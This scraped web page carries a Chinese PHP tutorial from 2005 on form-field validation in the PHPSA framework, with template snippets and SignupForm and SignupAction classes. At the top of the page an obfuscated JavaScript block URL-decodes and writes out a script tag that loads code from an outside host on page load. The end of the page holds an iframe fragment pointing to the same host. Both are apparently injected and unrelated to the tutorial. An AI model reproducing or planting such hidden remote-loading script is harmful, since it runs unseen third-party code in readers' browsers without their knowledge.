HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
使用Form类进行表单字段验证 (phpsa系列教程之二)
使用Form类进行表单字段验证 (phpsa系列教程之二)
大师兄(teacherli(-at-)gmail.com) 2005-12-17
上一节讲了如何使用PHPSA搭建一个开发环境, 这节来说一下如果在PHPSA中使用FORM类进行表单验证. PHPSA中的Form与Action类对应, 主要的功能为进行以POST提交的表单字段进行服务器端验证, 通过预定义在comm/utils/validator.class.php中的各类逻辑方法进行验证. 在PHPSA中,当提交后验证表单出错后程序可以自动返回至表单, 保留用户录入数据并显示错误信息.
继续拿我们上节课的例子进行讲解. 上节课的最后我们定义了一个链接<a href="?action=signup!signup">在线报名</a>,
从这个链接中我们可以看出, 有另外一个模块:signup, 模块中有一个Action叫signupAction, OK, 让我们先来在程序中建立一个signup模块: 在modules目录下建立一个signup目录, 分别在modules/signup/下建立forms, actions, views, model四个目录, 在actions目录新建立一个文件叫signupAction.class.php, 在forms目录中新建一个文件名叫signupForm.class.php与前边我们建立的action类对应.
先来说明一下我们的signup模块的功能: signup主要提供在线报名功能, 其中可以分为两个Action, 其中一个为signupAction, 主要提供: 1. 显示在线报名表单 2.提交报名信息; 另一个为successAction, 提交用户信息成功后跳转至另一个页面, 告诉用户已经成功报名.
signupAction上边我们已经建立, successAction主要用来显示一个提示页面, 因此不需要定义对应的Form类,我们直接在modules/signup/actions目录中再加个一个新的文件successAction.class.php.
对了,因为我们新加入了模块, 因此我们需要在comm/config/guest.config.xml文件中定义这个模块及模块的Action, 添加如下内容:
CODE:
[Copy to clipboard]
<?php
<
module name
=
"signup"
>
<
action
>
signup
</
action
>
<
action
>
success
</
action
>
</
module
>
?>
其中, module项的name属性为新加入的模块名称, <action>[actionName]</action>为模块中对应的Action名称, 加入我们刚才定义的两个action.
OK, 准备工作已经完成.下面来看一下在线报名需要添加的字段内容:
1. 用户名: text
2. 性别: radio
3. 身份证号: text
4. 民族: select
5. 文化程度: select
6. 政治面貌: radio
7. 籍贯: select
8. 邮政编码: text
9. 通信地址: text
10. 电话: text
11. 手机: text
12. email: text
13. 报考专业: select
14. 学习阶段: radio
在这其中, 报考专业由数据库中的专业表中提取,其它信息为静态提供. 来看我们的模板文件(modules/signup/views/signup.html)中的代码片段:
代码片段1:
CODE:
[Copy to clipboard]
<?php
<
input type
=
"text"
name
=
"userName"
value
=
"<%$userName%>"
>
?>
为能在表单验证出错后返回时还能保存用户曾经输入过的值, 我们给每个text类型的字段加入value属性, value属性的值为一个模板变量, 变量名称为text字段名称. 这里有个注意的地方:所有的表单字段都应使用小写字母开始的变量名.
代码片段2:
CODE:
[Copy to clipboard]
<?php
<
td
>
性别
:</
td
>
<
td
>
<%if
0
===
$sex
%>
<%
assign
var=
"sexChecked0"
value
=
"checked"
%>
<%else%>
<%
assign
var=
"sexChecked1"
value
=
"checked"
%>
<%/if%>
<
input name
=
"sex"
type
=
"radio"
value
=
"1"
<%
$sexChecked1
%>>
男
<
input type
=
"radio"
name
=
"sex"
value
=
"0"
<%
$sexChecked0
%>>
女
</
td
>
?>
对于radio字段如何在验证出错后保持它的提交状态, 需要使用模板流程控制语句来处理. 在这里, 男使用标准代码1来代表, 女使用0来代表, 在每个radio字段后边加入了<%$sexCheckedX%>类似于这样的模板变量, 它的定义模式为字段名 + Checked + 当前字段值这样的方式, 然后通过<%if%><%else%>等语句来对当前的字段值进行判断, 进行处理相应的模板变量,使radio字串呈选中状态.
代码片断3:
CODE:
[Copy to clipboard]
<?php
<
td
>
文化程度
:</
td
>
<
td
>
<% if
""
==
$nation
%>
<%
assign
var=
"eduSelected4"
value
=
"selected"
%>
<% else %>
<%
assign
var=
"eduSelected$edu"
value
=
"selected"
%>
<%/if%>
<
select name
=
"edu"
>
<
option value
=
""
>
请选择
</
option
>
<
option value
=
"1"
<%
$eduSelected1
%>>
博士
</
option
>
<
option value
=
"2"
<%
$eduSelected2
%>>
硕士
</
option
>
<
option value
=
"3"
<%
$eduSelected3
%>>
大学
</
option
>
<
option value
=
"4"
<%
$eduSelected4
%>>
高中
</
option
>
<
option value
=
"5"
<%
$eduSelected5
%>>
初中
</
option
>
<
option value
=
"6"
<%
$eduSelected6
%>>
小学
</
option
>
</
select
></
td
>
?>
对于select字段同样采用模板流程控制语句, 方法与radio字段差不多, 考虑到默认选项, 也就是当第一次打开模板页面时$nation变量无值, 这时就要加入一个 if "" == $nation的条件语句来处理默认选中的字段.
代码片段4:
CODE:
[Copy to clipboard]
<?php
<
div style
=
"color:red; font-size:12px; padding:5px;"
align
=
"center"
> <%
showErrors
%></
div
>
?>
这一段中使用了一个模板方法(注意:这里是模板方法不是模板变量,不要在前边加$符)<%showErrors%>, 它为自定义的一个smarty插件, 主要用来显示错误信息. 它有另外一个方法: <%showErrors var="xxxError"%>, 带一个参数表示取当前错误, 值定义在Form的继承类中. 一般情况直接使用<%showErrors%>打印出所有的错误信息.
好了,模板中内容就讲到这里, 下面来看SignupForm类:
CODE:
[Copy to clipboard]
<?php
/**
* signup form
* @author 大师兄
* @copyright Copyright © 2005-12-14
*/
class
SignupForm
extends
Form
{
public
function
SignupForm
() {
parent
::
Form
();
$this
->
validate
=
true
;
}
/**
* implements validate method
* @return ActionMessage
*/
public
function
validate
() {
$actionMessage
= new
ActionMessage
();
if (
Validator
::
isEmpty
(
$this
->
getUserName
())) {
$actionMessage
->
setErrorsValue
(
"userNameError"
,
"用户名不能为空!"
);
} else if (!
Validator
::
isLength
(
$this
->
getCardNum
(),
15
)) {
$actionMessage
->
setErrorsValue
(
"cardNumError"
,
"身份证号码不正确!"
);
} else if (!
Validator
::
isNumber
(
$this
->
getPostcode
()) || !
Validator
::
isLength
(
$this
->
getPostcode
(),
6
)) {
$actionMessage
->
setErrorsValue
(
"postcodeError"
,
"邮政编码不正确!!"
);
} else if (
Validator
::
isEmpty
(
$this
->
getAddress
())) {
$actionMessage
->
setErrorsValue
(
"addressError"
,
"通信地址不能为空!"
);
} else if (
Validator
::
isEqual
(
$this
->
getSpec
(),
"0"
)) {
$actionMessage
->
setErrorsValue
(
"specError"
,
"请选择报考专业!"
);
}
return
$actionMessage
;
}
}
?>
SignupForm继承自Form类, 注意, 编写Form类的继承类时请加入继承类的构造函数, 构造函数中有两行,第一行调用Form类的构造函数; 第二行为是否对表单进行验证, 此变量设置为true时请重写validate()方法.
下面重点来看看public function validate()内容:
首先申明一个ActionMessage类型变量, 此变量中保存所有对表单进行验证的信息. 接下来使用Validator类对表单各类需要进行验证的字段进行验证, 验证的方式类似于:
CODE:
[Copy to clipboard]
<?php
Validator
::
isEmpty
(
$this
->
getUserName
())
?>
, 这里Validator::isEmpty($var)定义自comm/utils/validator.class.php, 功能为验证变量是否为空; $this->getUserName()使用PHP5中的魔术函数来实现, $this->getUserName()相当于调用$this->userName; 而$this->userName又来自于$_POST["userName"]即表单字段, 关于Validator中定义的各类表单验证方法请查询框架中的说明文档.
最后validate()函数返回一个ActionMessasge对象, 系统根据返回ActionMessage是否保存有错误信息来进行下一步处理: 如果存在错误信息, 则返回表单页, 否则交由Action类的doAction()方法进行下一步处理.
最后来看看SignupAction类中的内容:
CODE:
[Copy to clipboard]
<?php
/**
* sigup action
* @author 大师兄 2005-12-17
*/
class
SignupAction
extends
Action
{
public
function
SignupAction
(
$form
=
null
) {
parent
::
Action
(
$form
);
}
public
function
doView
() {
$this
->
view
->
setTplDir
(
"./modules/signup/views"
);
$this
->
view
->
setTpl
(
"signup.html"
);
$this
->
view
->
display
();
}
public
function
doAction
() {
echo
"晢时不实现此功能, 下一节讲如何设计业务逻辑及实现业务逻辑验证方法!"
;
}
}
?>
同样, 与defaultAction类似, 我们为SignupAction编写了构造方法, 实现了Action的两个函数doView()与doAction(), doView()主要用来显示填写注册信息页面, 本节只对doView()方法实现, doAction()方法只做一个简单的演示, 留着下一节讲业务逻辑及业务逻辑验证讲.
好了, 关于PHPSA框架的Form表单验证就讲到这里了, 学习与使用过程中有任何问题,欢迎发邮件与我共同讨论.
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">